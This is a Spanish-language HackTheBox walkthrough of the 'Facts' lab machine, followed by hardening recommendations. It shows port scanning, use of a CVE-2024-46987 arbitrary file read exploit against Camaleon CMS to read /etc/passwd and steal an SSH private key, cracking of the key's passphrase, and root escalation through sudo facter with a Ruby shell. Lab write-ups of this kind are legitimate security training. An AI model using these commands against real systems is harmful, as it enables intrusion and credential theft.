HackTheBox

Facts



Key Findings


Durante el análisis de seguridad de la máquina Facts se identificaron las siguientes vulnerabilidades críticas:

  • Camaleon CMS v2.9.0 vulnerable a lectura arbitraria de archivos autenticada
  • Panel de administración accesible sin autenticación previa (registro abierto)
  • CVE-2024-46987 permitiendo acceso a archivos sensibles del sistema
  • Claves SSH privadas expuestas mediante Arbitrary File Read
  • Passphrase débil en clave SSH privada
  • Privilegios sudo sin restricciones para binario facter
  • Escalada de privilegios mediante ejecución de código Ruby en facter

Key Learning Objectives


Los objetivos de aprendizaje clave en esta máquina incluyen:

  • ✅ Port Scanning & Service Enumeration
  • ✅ Web Directory Fuzzing with Gobuster
  • ✅ Camaleon CMS Analysis & Exploitation
  • ✅ Authenticated Arbitrary File Read - CVE-2024-46987
  • ✅ SSH Key Extraction Techniques
  • ✅ SSH Passphrase Cracking with John the Ripper
  • ✅ Sudo Privilege Analysis & Exploitation
  • ✅ Facter Custom Facts Privilege Escalation

Reconnaissance & Enumeration


El reconocimiento inicial se realizó utilizando Nmap para identificar puertos abiertos y servicios en ejecución.

❯ sudo nmap -p- --open -n -Pn -vvv -oG ports --min-rate=2500 10.129.8.248

Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-17 19:58 +0100
Initiating SYN Stealth Scan at 19:58
Scanning 10.129.8.248 [65535 ports]
Discovered open port 80/tcp on 10.129.8.248
Discovered open port 22/tcp on 10.129.8.248
Discovered open port 54321/tcp on 10.129.8.248
Completed SYN Stealth Scan at 19:58, 30.45s elapsed (65535 total ports)

❯ sudo nmap -p 22,80,54321 -sCV -oN services 10.129.8.248

PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 9.9p1 Ubuntu 3ubuntu3.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 4d:d7:b2:8c:d4:df:57:9c:a4:2f:df:c6:e3:01:29:89 (ECDSA)
|_  256 a3:ad:6b:2f:4a:bf:6f:48:ac:81:b9:45:3f:de:fb:87 (ED25519)
80/tcp    open  http    nginx 1.26.3 (Ubuntu)
|_http-title: Did not follow redirect to http://facts.htb/
|_http-server-header: nginx/1.26.3 (Ubuntu)
54321/tcp open  http    Golang net/http server
|_http-server-header: MinIO
|_http-title: Did not follow redirect to http://10.129.8.248:9001
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Resultados:

  • Puerto 22/tcp: OpenSSH 9.9p1 Ubuntu
  • Puerto 80/tcp: nginx 1.26.3 con redirección a http://facts.htb/
  • Puerto 54321/tcp: MinIO (Golang net/http server)

Agregamos el dominio al archivo hosts:

❯ echo '10.129.8.248 facts.htb' | sudo tee -a /etc/hosts


Web Application Assessment


Al acceder a la aplicación web en el puerto 80, observamos la página principal.


Directory Fuzzing


Realizamos fuzzing de directorios utilizando Gobuster:

❯ gobuster dir -u http://facts.htb \
  -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt \
  -t 50 --add-slash

Encontramos la ruta del panel de administración:

admin/               (Status: 302) [Size: 0] [--> http://facts.htb/admin/login]


Camaleon CMS Access


Al acceder a http://facts.htb/admin/login, encontramos el panel de inicio de sesión de Camaleon CMS.

Observamos que el sistema permite el registro de nuevos usuarios. Procedemos a crear una cuenta (john:johndoe):

Una vez registrados e iniciada la sesión, identificamos que se está utilizando Camaleon CMS versión 2.9.0.


Arbitrary File Read - CVE-2024-46987


Investigando esta versión específica de Camaleon CMS, encontramos que es vulnerable a CVE-2024-46987, que permite la lectura arbitraria de archivos autenticada.

Referencia: https://github.com/Goultarde/CVE-2024-46987

Ejecutamos el exploit apuntando a /etc/passwd para enumerar usuarios del sistema:

❯ python3 CVE-2024-46987.py -u http://facts.htb -l john -p johndoe /etc/passwd

Identificamos dos usuarios relevantes:

  • trivia
  • william

SSH Key Extraction


Intentamos obtener las claves SSH del usuario trivia. Primero, extraemos la clave pública para identificar el tipo de clave:

❯ python3 CVE-2024-46987.py -u http://facts.htb -l john -p johndoe /home/trivia/.ssh/authorized_keys

ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKzMm+3/nLKoUgk6ZyVoDsci8Tu3/zk7k+njmxODNp2g

Identificamos que es una clave ed25519. Por convención, las claves privadas Ed25519 se guardan como ~/.ssh/id_ed25519.

Extraemos la clave privada:

❯ python3 CVE-2024-46987.py -u http://facts.htb -l john -p johndoe /home/trivia/.ssh/id_ed25519 > id_ed25519

Ajustamos los permisos del archivo:

❯ chmod 600 id_ed25519

Intentamos conectarnos por SSH, pero la clave está protegida con una passphrase:

❯ ssh -i id_ed25519 trivia@facts.htb
Enter passphrase for key 'id_ed25519':


SSH Passphrase Cracking


Extraemos el hash de la passphrase para intentar crackearla con John the Ripper:

❯ ssh2john.py id_ed25519 > hash.txt
❯ john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt

dragonballz      (id_ed25519)

La passphrase es: dragonballz


SSH Access & User Flag


Nos conectamos por SSH utilizando la clave privada y la passphrase obtenida:

❯ ssh -i id_ed25519 trivia@facts.htb
Enter passphrase for key 'id_ed25519': dragonballz

trivia@facts:~$ whoami
trivia

Obtenemos la flag de usuario:

trivia@facts:~$ cat /home/william/user.txt


Privilege Escalation - Facter


Verificamos los privilegios sudo del usuario:

trivia@facts:~$ sudo -l

Matching Defaults entries for trivia on facts:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User trivia may run the following commands on facts:
    (ALL) NOPASSWD: /usr/bin/facter

El usuario puede ejecutar /usr/bin/facter como root sin contraseña. Facter permite la ejecución de código Ruby mediante custom facts.

Creamos un archivo Ruby malicioso en /tmp:

trivia@facts:~$ cd /tmp
trivia@facts:/tmp$ echo 'exec "/bin/bash"' > shell.rb

Ejecutamos facter con el directorio personalizado:

trivia@facts:/tmp$ sudo facter --custom-dir=/tmp shell


Root Access Achievement


Obtenemos una shell con privilegios de root:

root@facts:/tmp# whoami
root

root@facts:/tmp# cat /root/root.txt


Recommendations



Immediate Actions


1. Camaleon CMS Security

  • Actualizar Camaleon CMS a la última versión disponible
  • Aplicar parches de seguridad para CVE-2024-46987
  • Deshabilitar registro público de usuarios en panel de administración
  • Implementar autenticación de dos factores para administradores

2. SSH Key Management

  • Usar passphrases fuertes y únicas para claves SSH privadas
  • Implementar políticas de rotación de claves SSH
  • Auditar regularmente permisos de archivos en directorios .ssh
  • Considerar uso de certificados SSH en lugar de claves

3. File Read Protection

  • Implementar validación estricta de rutas en aplicaciones web
  • Usar jaulas chroot para aislar procesos de aplicaciones
  • Aplicar permisos restrictivos en archivos de configuración
  • Implementar WAF para detectar intentos de path traversal

4. Sudo Privilege Hardening

  • Eliminar privilegios sudo innecesarios para binarios como facter
  • Implementar restricciones en argumentos permitidos para comandos sudo
  • Auditar regularmente configuración de sudoers
  • Usar sudo con opciones específicas en lugar de ALL

Long-term Security Improvements


1. Access Controls

  • Implementar principio de mínimo privilegio en todos los servicios
  • Separación de privilegios entre usuarios del sistema
  • Autenticación multifactor para accesos administrativos
  • Regular revisión de permisos y accesos de usuarios

2. Application Security

  • Implementar SAST/DAST en pipeline de desarrollo
  • Regular auditoría de código para vulnerabilidades
  • Usar frameworks seguros y actualizados
  • Implementar Content Security Policy (CSP)

3. Monitoring & Detection

  • Implementar IDS/IPS para detectar path traversal attempts
  • Monitorear accesos a archivos sensibles del sistema
  • Alertas para ejecución de comandos privilegiados anómalos
  • Logging centralizado de todas las aplicaciones web

4. Vulnerability Management

  • Programa de gestión de vulnerabilidades y parches
  • Escaneos de seguridad regulares de aplicaciones web
  • Pruebas de penetración periódicas
  • Suscripción a alertas de seguridad para frameworks utilizados